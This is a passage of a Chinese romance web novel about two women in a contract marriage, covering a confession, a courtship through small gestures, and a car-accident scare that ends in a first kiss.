她僵在原地,像被钉住了一样,是走?还是留? 大脑一片空白。 然而,或许是极致的慌乱反而催生了奇异的冷静,直直地望进陆言卿那双情绪翻涌的眸子里,声音沙哑得厉害:“所以,你是因为这个才不回公寓的吗?” 陆言卿点点头,随即又搖头,眉头紧锁,烦躁几乎写在脸上,索性坦白:“不全是。我只是不知道该怎么面对你。” 是啊。 最初,她以为这只是一场基于协议的婚姻。 三年为期,只要谢思虞遵守“规则”,她会给她尊重、体面,甚至满足不过分的要求。 可这个“秘密”,像一颗投入平静湖面的巨石。 搅得她心烦意乱。 她真的不知道,该用什么样的态度,什么样的表情,去面对这个……暗恋自己多年的“妻子”。 谢思虞垂下眼帘,无意识地用力咬着下唇,她逼迫自己冷静下来,片刻后,很輕很轻的问:“我的喜欢……是不是让你觉得很困扰?” 喜欢陆言卿。 费尽心机嫁给她。 这本是她一个人的兵荒马乱,一个人的孤勇。 如今被摊开在陽光下,是她始料未及的,也彻底打乱了她小心翼翼维持的平衡。 “不是困扰。” 陆言卿心乱如麻,抬手揉了揉眉心,闭了闭眼,重新看向谢思虞。 见她情绪似乎稳定了些,才组织语言,尽量委婉地剖白心迹:“我虽然知道了这件事,但这并不代表我也要喜欢你,或者……必须回应你的感情。” 说到这里稍稍停顿了一下,目光带着一丝探询,“你能明白我的意思吗?” 陆言卿眸光渐深,她并非自恋,偌大的榕城,对她表示好感的人确实不少,難道每一个她都要回应吗? 谢思虞不同。 只因为,她现在是她的妻子。 她们领证才一个月。 就算……就算要分开,祖父那边也绝不会轻易松口。 谢思虞点了点头。 她明白。 她怎么会不明白? 蒙着一层薄薄水雾的眼眸再次抬起,勇敢地迎上陆言卿的目光,她问出了心底另一个沉甸甸的问题:“那你讨厭我吗?” 陆言卿摇头:“不讨厌。” 这是实话。 若真讨厌,当初也不会在众多人选里,挑中谢思虞联姻。 这时,清吧隔壁台球厅的门开了,四个年轻人吵吵嚷嚷地走出来,恰好他们的车停在宾利右边。 几人上车,发动引擎,车灯划破夜色,很快驶离。 周遭重新陷入一片寂静,只剩下路灯昏黄的光晕和两人之间无声涌动的暗流。 在这片突如其来的静谧里,谢思虞眼底最后一丝慌乱也沉淀下去,取而代之是一种破釜沉舟般的坚定。 她深深地吸了一口气,抬起头,目光灼灼看向陆言卿,郑重地开口:“陆言卿,既然你不讨厌我……那我追你好不好?” “什么?” 陆言卿一时没反应过来,以为自己听错了。 谢思虞唇角微微扬起,漾开一个浅浅的笑容。 那双被泪水洗过的眼眸,此刻明亮得惊人,里面盛满了温柔。 她清晰地重复,带着不容置疑的认真:“我说,我追你好不好?” “我知道你现在不喜欢我,但请你给我一个机会,一个让我靠近你,让你了解我,也让我……试着走进你心里的机会。好吗?” “一年为期。如果到那时你还是不喜欢我,那我们就离婚。”- 4月下旬。 榕城天气渐渐变得缓和。 原本搬家这件事不着急,却因为有祖母在其中撮合,老人家说挑选了吉利的日子,让她们搬进婚房。 陆言卿颇为无奈,好在她和谢思虞是关起门来“过日子”,否则真怕祖母按着她和谢思虞圆房。 今天阳光正好,透过落地窗洒进来,满室亮堂温暖。 陆言卿难得睡到自然醒。 搬进婚房后,她住的是次卧。 不用上班,她从卫生间洗漱出来,身上穿着宽松舒适的Polo领黑白撞色连衣裙,中长裙摆恰好落在膝盖处,显得随性又清爽。 她走到梳妆台前,随手从盒子里拿起一个鲨鱼夹,将一头长发随意挽起固定在脑后,后颈处还散落着几缕细碎的绒发。 整个人带着一种刚睡醒的慵懒。她趿拉着拖鞋,慢悠悠地晃出次卧。 餐厅里,阳光斜照。 谢思虞也穿着柔软的家居服,正坐在餐桌边,低头专注地修剪着一把戴安娜玫瑰梗上的细刺。 听到脚步声,她抬起头,眉眼弯起温柔的弧度,轻声问:“醒了?肚子饿不饿?我煮了牛奶燕麦粥,要不要喝一点?” 陆言卿拉开餐椅坐下,目光扫过桌上色彩缤纷的花束——娇嫩的粉色戴安娜玫瑰,优雅的紫色洋桔梗,还有几株清新可爱的小雏菊。 她轻轻摇头:“不用麻烦了。” 声音带着晨起的微哑。 距离那天在清吧门口,谢思虞郑重其事地说要“追她”,已经过去一个礼拜了。 但…… 陆言卿幽邃的目光在谢思虞温柔带笑的脸上短暂停留,又不动声色地移开,落在那几株小雏菊上。 她伸出指尖,轻轻拨弄着那柔软娇嫩的花瓣,嘴角勾起一抹难以察觉的弧度。 看来,那句话……大概只是谢思虞一时冲动说说的吧。 自己居然还当了真。 谢思虞放下剪刀,拿起另一支玫瑰,继续仔细地打刺:“那卿卿中午想在家里吃,还是去外面吃?” 陆言卿说不用喝粥,谢思虞便也不再勉强。 这些鲜花是她早上晨跑回来路过公园旁的花店买的。 老板娘正忙着处理一个大订单,她便没让人包装,自己捧着一大束还带着晨露香气的花,慢悠悠地走了回来。 “出去吃吧。” 陆言卿的目光不经意扫过谢思虞白皙纤细、正摆弄花枝的手指。 陈阿姨这两天请假了,她们难得休息,何必再费事自己动手。 谢思虞莞尔一笑:“好呀,那就出去吃。” 说完,她把手里刚刚精心处理好的那支最饱满,色泽最柔和的粉色戴安娜玫瑰递向陆言卿,眼底闪着细碎的光,“这朵送给卿卿。” 陆言卿微微一怔,有些意外地挑起眉梢。 倒也没有拒绝,顺手把花接了过来,将花送到鼻尖前,低头轻嗅了一下。 清雅微甜的花香,并不浓烈,却丝丝缕缕钻入心脾。 谢思虞很快修剪完剩下的花枝,又找来一个透明的玻璃花瓶,注入清水。 将桌上的花枝依次插入瓶中,高低错落,粉紫白相间,搭配得清新又雅致。 陆言卿看着手中这支被“赠予”的玫瑰,又看了看瓶中其他的花,将玫瑰递了过去,示意谢思虞插进花瓶里。 却见谢思虞轻轻摇头,她眼底漾着温柔的笑,意味深长的嗓音响起:“这朵……是特意送给卿卿的。” 特意。 送的。 还是一朵……象征着爱慕的玫瑰。 陆言卿稍稍愣了下,指尖微微收紧,捏住了花梗。 随即,一种混合着恍然、意外、以及一丝难以言喻的愉悦涌上心头。 清浅的笑意终于从她眼底漾开,直达嘴角。 她低低地笑了下,看着手中这支独属于她的玫瑰花。 “还真是……” 在不动声色地,撩她呢。 而此时,谢思虞已经抱着插好的花瓶,转身走向客厅。 她将花瓶放在了实木茶几最显眼的位置上,阳光透过玻璃瓶身和水波,在桌面上投下摇曳的光斑。 看着那支被陆言卿握在手中的玫瑰,眼眸里露出一抹柔软,又带点得逞的笑意。 第98章 if线-如果没有穿越时空8 你不是在…… 14:05。 两人从外面吃完午饭回来。 走到电梯口时, 謝思虞的手機响了,是门卫室的电话。 她眼睛亮了一下,转头对陸言卿说:“卿卿你先上去, 我去门口拿个快递。” 陸言卿看着她神神秘秘又有点雀跃的样子, 不由觉得有趣又可爱。 几分鐘后, 謝思虞抱着一个包装严实的纸箱回来,像捧着什么宝贝。 后来,陸言卿就发现, 謝思虞这段时间下班回家后, 不再像往常一样在客厅或餐厅停留,而是一头扎进书房。 在落地窗前那张低矮的实木圆桌前忙碌着。 原来她网购了一幅特别的拚图——是她自己提供图片给店家定制的, 算得上是独一份的DIY。 目前拚图已经完成了十分之九。 这个周六,陸言卿意外地提前下了班。 晚餐后的客厅,弥漫着食物香气和周末特有的慵懒。 陆言卿陷在柔软的沙发里,指尖捻着英文书页的邊缘。 謝思虞走过来,在她身邊坐下,声音放得很柔:“卿卿,你现在……忙吗?” 陆言卿合上膝盖上的书, 放到一邊, 有些疑惑地挑眉看向她:“还好?怎么了?” “要不要……跟我一起玩会儿拚图?” 谢思虞眨了眨眼, 长长的睫毛在灯光下投下小扇子似的阴影, 嗓音温软得像羽毛,手指指向书房的方向,“已经快拚好了。” 陆言卿瞥了一眼书房敞开的门, 想起这段时间谢思虞每晚都待在里面,随口道:“……很难吗?我看你拼了好些天了。” “也不算很难。” 谢思虞抿唇笑了,眼神清澈见底, 像藏着星星,“就是……想和你一起完成它。” 这句话她说得格外认真。 “好吧。” 陆言卿没多想,起身跟着她走进了书房。 夕阳的光线透过落地窗,正好洒在那张圆桌上。 拼图几乎铺满了桌面,只剩下邊缘一小片区域空着。 陆言卿走近,目光落在已经拼好的部分上——那似乎是一个女孩的背影,站在樱花树下,面对着绚烂的落日余晖……嗯,总之构图很美。 “麻烦卿卿先拼着?” 谢思虞輕輕按着陆言卿的肩膀,让她在桌前的软垫上坐下,动作自然又帶着点不容拒绝的意味,“我去厨房做份简单的水果沙拉,很快回来。” 说完,她没给陆言卿任何反应或拒绝的機会,转身就快步走出了书房,还顺手輕輕帶上了门。 陆言卿看着门合拢,又回头看看桌上那片等待拼凑的空白,无奈地耸耸肩,嘴角勾起一丝自己都没察觉的笑意。 好吧,那就先拼着。 她单手支着下巴,右手从旁边散落的碎片堆里随意捡起一块,目光在拼好的图案和剩余的碎片间来回比对。 剩下的部分确实不算难,大多是天空温柔的渐变色和女孩背部的细节轮廓。 她很快找到了感觉,一片一片,耐心地将它们归位。 手上的动作越来越流畅,思绪也沉浸在色彩和形状的拼接中,周遭变得格外安静,只有拼图碎片轻轻叩合在底板上的细微声响。 当最后一片拼图被稳稳按入属于它的位置时,一幅完整的画面清晰地呈现在眼前。 落日夕阳。 一个穿着蓝色校服的女孩站在樱花树下,微卷的长发被风吹起几缕,背影纤秀而挺拔,正静静眺望着远方的落日。 陆言卿看着女孩的背影,看着那身校服特有的款式线条,看着那树下熟悉的藕粉色书包…… 一股强烈的荒唐感油然而生。 她猛地坐直了身体,凑近桌面,指尖划过画面上那个背影的轮廓。 心脏骤然收紧。 这,这是……她? 高中时期的她? 下意识抬起头,视线精准投向不远處的书架——第三排,一个玻璃相框静静地立在那里。 相框里,那张穿着同样蓝色校服、站在同样樱花树下、笑容明媚的正面照片,赫然在目。 两张照片,唯一的区别,只有视角。 一张是明媚的笑脸,一张是沉默的背影。 就在她盯着那背影,心头被巨大的震惊和一种难以言喻的复杂情绪填满时,书房的门被轻轻推开了。 谢思虞端着水果沙拉走了进来,步履轻盈。 她的目光第一时间就落在了那幅已经完成的拼图上,然后又缓缓移向坐在桌前神色怔然的陆言卿身上。 嘴角忍不住上扬,眼底漾开温柔的光芒,声音轻柔得像怕惊扰了什么:“卿卿这么快就拼完了?” 陆言卿的心情复杂到了极点。 原来……只要稍稍回溯,线索早已埋下。 那天在咖啡店签协议时,谢思虞手機屏幕上那个一闪而过的背影锁屏……原来就是她自己。 她低垂着眼睫,眸光闪烁不定,喉间像是被什么堵住,声音低哑:“毕业典礼那天……你也去我们学校了?” 她不会记错,那是高三毕业典礼,鐘晚意死缠烂打非要拉她去拍照,背景就是那棵著名的樱花树。 只是六月并非花期,当时鐘晚意还为此惋惜了好一阵。 “没有。” 谢思虞轻轻摇头,那时她远在N市念大学,并未放假。 “这张照片……是我偷来的。” 她解释着,声音很轻,像在讲述一个久远而隐秘的秘密。 陆言卿高中毕业时曾在微博大号发过九宫格照片。 而这张樱花树下的背影,是陆言卿的一位同校同学发在评论里的。 那时的她,像一个躲在暗處的小偷,悄悄存下了这张图。 其实她也有陆言卿那张照片的正面照,笑得明媚灿烂。 可她只敢用这张背影做锁屏壁纸。 因为害怕,害怕别人从她锁屏壁纸里窥见那份深埋心底,还见不得光的喜欢。 陆言卿的呼吸微微一滞。 她张了张嘴,一时竟不知该说什么。 心口像是被一只无形的手轻轻攥了一下,有点酸,有点涩,又有点难以言喻的悸动。 自从那个“秘密”公开后,谢思虞便不再掩饰对她的喜欢。 看向她的眼睛,总是亮晶晶的,盛满了毫不掩饰的温柔与明媚。 她亲口说要追她。 她定下了一年期限。 但这一个月来,谢思虞的“追求”没有丝毫的咄咄逼人。 她的喜欢,像春日里和煦的微风,无声无息地包裹着你;像绵绵的细雨,润物细无声;又像一缕飘逸的丝帶,不经意间拂过你的心尖。 从不刻意,从不让她感到丝毫的压力或困扰。 只会在某个意想不到的瞬间,像这次拼图一样,给她帶来难以忽视的震撼,让她清晰地感受到那份沉甸甸的心意。 “谢谢卿卿帮我把拼图拼完整啦。” 谢思虞仿佛没察觉到陆言卿眼底翻涌的心绪,笑容温软,自然地将手中的玻璃碗放在实木桌上。 碗里是切好的水蜜桃,粉嫩的果肉晶莹剔透,散发着清甜的香气。 又顺手把叉子塞进陆言卿手中,语气轻快,“今天陈阿姨买的水蜜桃特别甜,卿卿快尝尝?” 她只字不再提照片的事,好像剛才那番剖白只是寻常对话。 然后,她小心翼翼地捧起那幅剛剛完成的拼图,像对待一件稀世珍宝,动作轻柔得近乎虔诚。 她抱着拼图站起身,歪头冲陆言卿俏皮地眨了眨眼,眼底是纯粹的愉悦:“我先把这个放回房间去哦。” 陆言卿一时失语。 她看着谢思虞抱着拼图,脚步轻快地转身離开,看着她低头凝视拼图时,脸上那珍视和满足的笑容…… 一种极其陌生的悸动感,像一颗投入心湖的石子,悄无声息地在她心底漾开一圈又一圈细微的涟漪。 这感觉来得如此突然,以至于连她自己,都未曾立刻察觉这份悄然滋生的触动- 时间悄然流逝,榕城已步入闷热的盛夏。 西郊商场的装修接近尾声,招商事宜却让陆言卿焦头烂额。 她几乎夜夜加班到深夜,一日三餐混亂不堪,整个人像上了发条的陀螺,停不下来。 陆氏集团。 32楼副总办公室。 特理魏洁抱着一叠厚厚的文件进来,目光扫过休息区茶几上那盒纹丝未动的晚餐,担忧地蹙起了眉。 她低头看表,差五分钟八点,胃病最怕这样熬。 可一个小时里,她已经提醒过两次了。 “陆总,这是市场部按照您最新要求严格筛选出来的商户名单。” “知道了,放下吧,我马上看。” 陆言卿头也没抬。 魏洁欲言又止,终究默默退了出去。 嗡—— 手機的震动在一片寂静中格外清晰。 陆言卿终于放下签字笔,从堆积如山的文件下摸出手机。 屏幕上跳动着:谢思虞。 这个时间打来? 知道她忙,是有事吗? 陆言卿用力捏了捏肿胀的眉心,按下接听:“怎么了?” 「能耽误陆总二十分钟吗?」 电话那头的声音温软依旧。 陆言卿起身走到落地窗前。 盛夏的傍晚,天色褪得慢,远處天际还残留着一抹黯淡的橙红余晖,映着城市的灯火。 “我现在休息,你说。” 「那我上楼了哦~」 谢思虞轻快的尾音带着点俏皮。 陆言卿握着手机的手指一紧:“你现在在楼下?” 「嗯。」 「今天和同事去西郊出外勤,剛在那边的老店吃完饭。猜到你肯定还没吃,就……顺手帮你打包了一份咖喱牛肉饭。」 陆言卿的目光下意识瞥向茶几上那份还未拆封的晚餐。 沉默了一瞬,她说:“你在楼下咖啡厅等我,我马上下来。” 「好。」 十分钟后。 集团楼下的咖啡厅,夜晚的客人寥寥无几,空气中弥漫着咖啡豆烘焙后的醇香。 陆言卿推开玻璃门,一眼就看到坐在靠窗书架旁的谢思虞。 暖黄的灯光洒在她身上,像一幅静谧的画。 “卿卿,这里。” 谢思虞朝陆言卿招手。 她并非专程前来打扰,只是借着外勤的便利。除了担心她的胃,更因为四天后就是沈母的生日。 陆言卿拉开她对面的椅子坐下,目光扫过桌上那个印着老店LOGO的餐盒:“这么晚了,喝点果汁?” “不用麻烦。” 谢思虞温婉一笑,指了指柜台方向,“我刚问店员要了两杯温水。” 她今天穿着一条樱花粉的方领连衣裙,腰间的珍珠装饰在灯光下泛着柔和的光泽。 长发柔顺地披在肩头,纤细的颈项上戴着一条简洁的铂金项链,整个人温婉娴静,像夏日里一阵清凉的风。 她打开餐盒盖子,浓郁的咖喱香气瞬间弥漫开来。 金黄的咖喱汁裹着大块炖煮得软烂酥嫩的牛肉,配着粒粒分明的米饭,色泽诱人。 将筷子和餐盒一起轻轻推到陆言卿面前:“同事文文推荐的,说这家店开了十几年,味道很地道。我们刚尝过,确实很棒。” “辛苦你跑一趟。” 陆言卿不是矫情的人,高强度工作下被忽略的饥饿感,此刻被这热腾腾的香气彻底唤醒。 她接过筷子,安静地吃起来。 牛肉入口即化,咖喱的辛香恰到好处,暖意顺着食道熨帖了疲惫的脾胃。 店员适时送来了两杯温水。 谢思虞将其中一杯放在陆言卿手边,这才提起正事:“几天后是母亲的生日,卿卿有想好送什么礼物吗?还是……我这边准备?” 陆言卿喝了口水,润了润喉。 这件事她确实忘了。 想了想,语气平淡道:“我会让助理准备。” 她送的礼物,无论价值几何,母亲通常只是让管家收进库房。 谢思虞心下了然,没再追问她和沈母之间那份疏離。 又坐了几分钟,她看了看窗外已经完全暗下来的天色:“卿卿还要回去加班吗?” 陆言卿放下筷子,餐盒里还剩三分之一。 她看了眼腕表,点点头:“商户名单今晚必须敲定,估计要到很晚。” 随即又问,“你开车来的?” 谢思虞从随身的包里拿出两张濕巾递给陆言卿,温柔解释:“嗯,开车来的。卿卿别担心,我自己回去就好。” 几分钟后,陆言卿将谢思虞送到电梯口。 电梯门缓缓合拢,金属门上映出陆言卿略显疲惫的身影。 她垂下眼睑,正准备按旁边上楼的电梯。 叮—— 刚关上的电梯门突然又开了。 谢思虞从里面快步走出来,脸上带着一丝小小的懊恼和急切。 不由分说地将一包东西塞进陆言卿的手心。 是包橙子味的水果硬糖。 “差点忘了这个。” 她语速稍快,眼神清亮,“卿卿要是工作压力大,或者觉得累了,吃颗糖,心情会好一点。” 陆言卿还未说话,谢思虞已转身再次步入电梯,门迅速合拢。 电梯间瞬间恢复了寂静,只剩下陆言卿一个人。 她下意识地收拢手指,握紧了掌心里那包带着谢思虞指尖微温的硬糖。 塑料包装发出轻微的窸窣声。 半晌,一股暖流伴随着橙子清甜的想象气息,悄然涌上心头。 她低头看着那包小小的糖果,嘴角不受控制地,轻轻勾起了一抹温柔的浅笑。 这样不动声色。 又无处不在的温柔,像春风化雨,悄然浸润着她世界的每一个角落。 她还能在这份温柔的潮汐里,坚守多久?- 盛夏的暴雨,来得毫无征兆。 前一秒还烈日灼人,下一秒已是黑云压城。 天空像被打翻的墨缸,浓重的乌云沉沉地碾过城市的天际线。 下午五点。 離下班还有半小时。 鑫铭电器六楼市场部,谢思虞从工位上起身走到窗边。 外面天色已经暗得像傍晚,豆大的雨点噼里啪啦砸在玻璃上,汇成浑浊的急流冲刷而下。 她眉心不自觉地蹙紧。 手机上,陆言卿下午发来的消息还停留在屏幕上。 【想吃糖炒栗子吗?】 【我在西郊商场这边,稍后帮你买点回家?】 这个点,她还在西郊吗? 那条通往市区的沿江路……想到这里,谢思虞的心无端地悬了起来。 旁边同事文文正低头看着自己崭新的凉鞋抱怨:“最烦这种暴雨天气了,说来就来,一点准备都不给。” 打印机旁的男同事也叹气:“看来晚饭只能点外卖了,这雨一时半会儿停不了。” 狂风卷着暴雨,抽打得窗外高大的香樟树疯狂摇曳。 谢思虞并不怕下雨天,她开车上下班,顶多是路滑开慢些。 可今天看着窗外的暴雨,一股莫名的烦躁悄然缠上了心头。 唯一值得庆幸的是,夏天的暴雨,来得猛,去得也干脆。 一个小时后,雨势渐渐收住,变成了淅淅沥沥的雨丝。 谢思虞保存好文档关机,站起身发现办公室里只剩下她和实习生小杨。 她刚想询问小姑娘是否需要搭车,只见她也站了起来,开始收拾东西。 两人一前一后走进电梯。 密闭的空间里,小杨盯着手机屏幕,忽然小声嘀咕:“天啊,希望人没事吧……陆氏集团?” 她像是想起什么,迟疑地看向谢思虞,“谢主管,陆氏的副总陆言卿……是您妻子吗?” 谢思虞正低头拨弄着钥匙扣上的毛绒公仔,闻言,轻轻“嗯”了一声。 “怎么了?” 小杨倒吸一口凉气,脸色有点发白,把手机屏幕转向谢思虞:“微博上刚爆出来的,说陆氏副总的车……坠、坠入榕江了,陆言卿……好像就在车里?” 啪嗒—— 钥匙扣掉落在冰冷的电梯地板上,发出沉闷的轻响。 谢思虞夺过小杨的手机。 屏幕上是一条不足十秒的视频:江边一片混亂,嘈杂的人声,警笛的嗡鸣混在一起。 屏幕顶端,一行加粗的黑字标题狠狠扎进她的眼睛里。 【陆氏副总陆言卿连人带车坠落榕江,生死不明。】 这一刻,谢思虞全身的血液仿佛瞬间冻结,凝固在血管里。 耳朵里嗡嗡作响,世界的声音都被抽离了。 她慌亂地翻找包里的手机,解锁,按下那个烂熟于心的号码。 「对不起,您拨打的电话已关机……」 冰冷的机械女声,成了压垮骆驼的最后一根稻草。 谢思虞不知道自己是怎么冲出大楼,又是怎么浑浑噩噩赶到江边的。 江岸灯火通明,刺目的探照灯将漆黑的江面切割得支离破碎。 警灯闪烁,消防车和救护车围在岸边,穿着救生衣的打捞队员在泥泞中来回穿梭。 陆氏的保镖们面色凝重地维持着秩序。 围观的人群里传来压抑的叹息和窃窃私语。 “唉,车掉进去都两个多小时了,人是死是活啊……” “车刚捞上来,但里面是空的,警察说是掉下去没多久人就从里面出来了?” “可这么大的雨,江水那么急……这会儿怕不是早冲到下游去了……” 雨不知何时彻底停了,空气又濕又冷。 这些话像冰锥,一根根凿进谢思虞的耳朵里,顺着血液流遍全身,冻得她五脏六腑都在痉挛。 暴雨前那句“糖炒栗子”的温柔询问,此刻成了最残忍的回忆。 不会的…… 不可能…… 也许是弄错了…… 谢思虞用力深呼吸,指甲狠狠掐进掌心,强迫自己冷静。 她推开挡在前面的人,踉跄地冲向警戒线内—— 然后,她看到了。 那辆被起重机吊臂悬在半空,污泥裹挟,车窗碎裂的黑色奔驰。 车牌号在探照灯下清晰得刺眼。 正是今早陆言卿开着离开公寓的车! 刹那间,支撑着她的最后一丝力气被抽干。 周围的警笛声、人声、江水的翻涌声——瞬间消失了。 世界只剩下死寂的灰白。 巨大的绝望如同冰冷的江水将她彻底淹没、吞噬。 眼泪汹涌而出,滑过冰冷的脸颊。 她挣扎着从泥泞中站起来,顾不上裙摆沾染的污浊,像个濒死的人扑向最近的女警,死死抓住对方的胳膊,声音抖得不成样子:“求求……你们,一定要找到她——” 女警被她突然的动作和眼中的绝望惊住:“你……你是车里人的家属?” “我是她的妻子……” 谢思虞目光空洞地投向江面,恨不得亲自下去找人。 “妻子?” 女警愣了一下,下意识翻看手中的记录,“可是资料上并未写明他结婚了啊?你是不是……” 女警话音未落,一个熟悉得让谢思虞心脏骤停的声音,带着一丝困惑从警车后方传来。 “谢思虞?你怎么在这儿?” 谢思虞瞬间绷紧了腰背,难以置信地循声望去—— 警车后方,陆言卿正站在那里。 她身上穿着稍显凌乱的衬衫,发丝也有些潮濕,但人却完完整整,安然无恙。 她似乎刚和身边的保镖交代完什么,此刻正蹙眉看着自己,眼中是清晰可见的惊愕和关切。 “卿卿……?” 谢思虞的大脑一片空白。 巨大的欣喜如同决堤的洪水,瞬间冲垮了所有的绝望和恐惧。 她什么也顾不上了,像一枚被狂风卷起的落叶,跌跌撞撞地扑了过去。 用尽全身力气扑进陆言卿怀里,双臂死死环抱住她的腰,恨不得把她揉进自己的骨血里。 下巴磕在陆言卿温热的肩窝,汹涌的泪水片刻间打濕了她的衣领。 谢思虞整个人都在剧烈地颤抖,破碎哽咽的声音里藏着失而复得的巨大喜悦:“卿卿,你没事真的太好了,你没事……真的太好了……” 陆言卿眼底掠过一丝茫然,随即反应过来。 她没有推开怀里颤抖的人,而是抬起手,一下下轻轻地顺着谢思虞的后背,轻声安抚:“别怕,我没事。” “掉进江里的是司机,不是我。” 天彻底黑了。 刚下过暴雨,江边的风裹着湿冷的潮气。 谢思虞深吸一口气,强压下心底翻涌的情绪,从陆言卿怀里退开。 她胡乱抹掉脸上的泪痕,眼眶通红,声音带着浓重的鼻音:“你去哪了?手机为什么关机?” 陆言卿看着她红肿的眼睛和苍白的脸颊,眼眸里闪过心疼。 放柔了声音解释:“中途下车给你买糖炒栗子,结果暴雨突至,我被困在店里。至于……车坠江的具体原因还在查。” “知道司机出事,我立刻打车赶过来。手机……” 她顿了顿,带着歉意,“人太多太乱,不知道被谁撞了下,掉江里了。对不起,让你担惊受怕了。” 谢思虞重重地呼出一口气,仿佛要把胸腔里积压的所有恐惧都吐出去。 她又忍不住上前,轻轻抱了抱陆言卿,把脸埋在她肩窝,低声喃喃:“人没事就好,只要你没事,什么都好……” 陆言卿抬手,温柔地将她颊边凌乱的碎发别到耳后。 目光下移,看到谢思虞裙摆湿了大半,沾着泥污,眉头微蹙:“现在能开车吗?……算了,我让人送你回去。” 话音刚落,不远处传来警察的高喊:“找到了!人在下游两百米找到了,正送去医院——” 旁边的保镖明显松了口气:“陆总?” 陆言卿到嘴边的话顿住,余光瞥见谢思虞依旧通红的眼眶和惊魂未定的神情,话锋一转:“派人去医院守着,司机脱离危险立刻通知我。” 保镖领命离开。 陆言卿脱下自己的风衣,不由分说地披在谢思虞单薄的肩上,裹紧:“我们回家。你的车停哪了?” 谢思虞指向人群后方。 很快,两人坐进宾利车内。 熟悉的橙花香淡淡弥漫,稍稍安抚了紧绷的神经。 陆言卿坐进驾驶座,先把空调温度调高,暖风驱散着寒意。 她又抽出几张纸巾递给谢思虞:“擦擦手臂……” 话说到一半,她目光凝在谢思虞左手手肘处,声音沉了下来,“你坐过来点。” 刚刚经历了情绪的巨大起伏,谢思虞的目光几乎无法从陆言卿身上移开,对她的话更是言听计从,乖乖挪近。 也是这时才发现,她左手手肘外侧,不知何时擦破了一大片皮。 伤口混着污泥和小沙石,在白皙的皮肤上显得格外刺眼。 之前精神高度紧张没感觉,现在放松下来,火辣辣的疼才蔓延开。 “自己磕伤了都不知道?” 陆言卿抿紧了唇,声音里压着心疼。 她换了两张干净的湿巾,动作放得极轻极缓,小心翼翼地擦拭着伤口周围的污泥。 清理嵌进皮肉的小石子时,谢思虞疼得瑟缩了一下,本能地想缩回手。 “嘶……” 陆言卿心头一紧,所有责备的话都咽了回去,只剩下满满的心疼。 她轻轻握住谢思虞的手腕固定住,俯下身,凑近那处伤口,轻轻地吹着气:“忍一忍,很快就好……车里有碘伏吗?” 谢思虞摇摇头,湿漉漉的眼睛望着她,带着点不自觉的委屈。 看着她这副模样,陆言卿只觉得一颗心被揉得稀巴烂,又软又疼。 扔掉脏污的湿巾,果断发动车子:“伤口要处理,先去药店。” 谢思虞自然没有异议。 十分钟后,车子停在路边药店旁。 陆言卿推门下车,很快又折返回来,敲了敲副驾驶的车窗:“带现金了吗?或者手机支付?” 谢思虞眨眨眼,从包里翻出手机递过去:“密码是210321。” 陆言卿没多问,接过手机快步走向药店。 很快她拎着袋子回来。 一个袋子装着碘伏,棉签和创口贴,另一个袋子……居然是热乎乎的糖炒栗子。 陆言卿先仔细地帮谢思虞消毒伤口,动作轻得不能再轻,最后贴上干净的创口贴。 她下车用矿泉水洗净手,然后坐回驾驶座,戴上一次性手套,熟练地剥开两颗栗子。 金黄油亮的栗仁散发着诱人的甜香。 “尝尝?老板说很甜。” 陆言卿将剥好的栗仁递到谢思虞面前。 之前买的那份早被雨水泡透扔掉了。 谢思虞坐在副驾,一双明亮的大眼睛望着陆言卿,没伸手接,也没动。 陆言卿看她这副依赖又乖巧的样子,心底最后那点无奈也消散了,只剩一片柔软的涟漪。 她捻起一颗饱满的栗仁,直接送到谢思虞唇边,声音是自己都没察觉的温柔:“张嘴。” 谢思虞立刻“心满意足”地张开嘴,就着陆言卿的手,低头轻轻咬住了那颗栗仁。 然而,就在这瞬间—— 不知是有意还是无意,她那柔软温热的舌尖,轻轻扫过了陆言卿捏着栗仁的指尖。 那一点湿润的柔软,带着惊人的温度,猝不及防从指尖直直窜上陆言卿的心口。 她的心脏,因为这近乎撩拨的触碰,重重地一跳。 一股陌生的,滚烫的热意瞬间涌上耳根。 “你……” 谢思虞望过来无辜又茫然的目光,轻声问:“卿卿要说什么?” 陆言卿哑然失笑。 扭头看向车窗外,很快又转过来看着谢思虞,握住她的手腕将人往怀里一拉,气笑了:“谢思虞,你真行。” “你刚不是在撩我吗?” 第99章 if线-如果没有穿越时空9 余生有她…… 陸言卿的话像一片羽毛拂过心湖。 车内狭小的空间里, 空气凝滞,暧昧无声蔓延来开。 謝思虞先是一怔,眼底迅速爬上惊讶, 很快又露出一抹得逞的浅笑。 她没想到陸言卿会如此直白地回应, 不再是回避或假装视而不见。 唇角的笑意加深, 像只狡黠又调皮的猫咪,顺势向前倾身。 两人之间的距离瞬间被缩短,只剩下一个拳头的空隙, 呼吸几乎可闻。 那双剪水秋瞳里盛满了潋滟的波光, 温柔的笑意下藏着勾人心魄的魅惑,尾音像沾了蜜糖, 絲絲缕缕缠绕过来:“那……卿卿有被我撩到吗?” 随着謝思虞的靠近,独属于她身上的橙花香更加馥郁,霸道地侵占着陸言卿的感官。 她自是没有错过某人眼底一闪而过的狡黠光亮,目光最终落在謝思虞近在咫尺的唇瓣上。 心底那根名为克制的弦,终于绷断了。 陸言卿喉头微动,几乎是遵循着本能,她微微侧头, 凑了过去。 一个极輕、极快, 帶着试探和确认意味的吻, 落在了謝思虞柔软的唇上。 蜻蜓点水, 一触即分。 随即,她稍稍退开一段距离,低哑的嗓音帶着灼热的呼吸, 认真地回应,每一个字都敲在彼此的心尖上:“有。” 胸腔里那颗剧烈跳动,好似下一秒就要衝破肋骨的心脏, 就是最真实的证据。 这个輕吻如同投入干柴的火星。 陆言卿闭了闭眼,再睁开时,眸底翻湧的情绪已如燎原之火。 她松开了握着谢思虞手腕的手,转而用掌心稳稳托住她的后颈,帶着不容抗拒的力道,将她更近地压向自己。 下一秒,她再次倾身覆上。 这一次不再是浅尝辄止,而是更深更重地吻住了那片渴望已久的柔软,帶着确认心意的急切和终于释放的汹湧情潮。 “嗡嗡——嗡嗡——” 就在陆言卿彻底沉沦,意识模糊地沉溺在谢思虞唇齿间的温柔与悸动中时,一阵突兀的手機震动声,打破了车厢内所有缠绵悱恻的旖旎空气。 所有的动作戛然而止。 陆言卿猛地从那个令人沉迷的深吻中抽离,呼吸急促而灼热。 车顶灯柔和的光线倾泻而下,她清晰地看到怀中人脸上未褪的动人潮红,那双潋滟的眼眸里还氤氲着未散的情-欲,湿润的唇瓣微微红肿,像被露水浸润过的花瓣。 这副模样,勾得她心尖又是一颤,几乎要再次不管不顾地吻下去。 “接电话……” 